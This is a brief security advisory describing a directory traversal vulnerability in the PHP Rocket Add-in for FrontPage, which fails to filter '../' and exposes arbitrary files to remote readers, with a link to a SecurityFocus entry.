There is a vulnerability in the PHP Rocket Add-in for FrontPage 
that allows a remote attacker to view the contents of any arbitrary 
file to which the web user has access.  This vulnerability exists 
because the PHP Rocket Add-in does not filter out ../ and is therefore 
susceptible to this directory traversal attack.

More Information: http://www.securityfocus.com/bid/3751
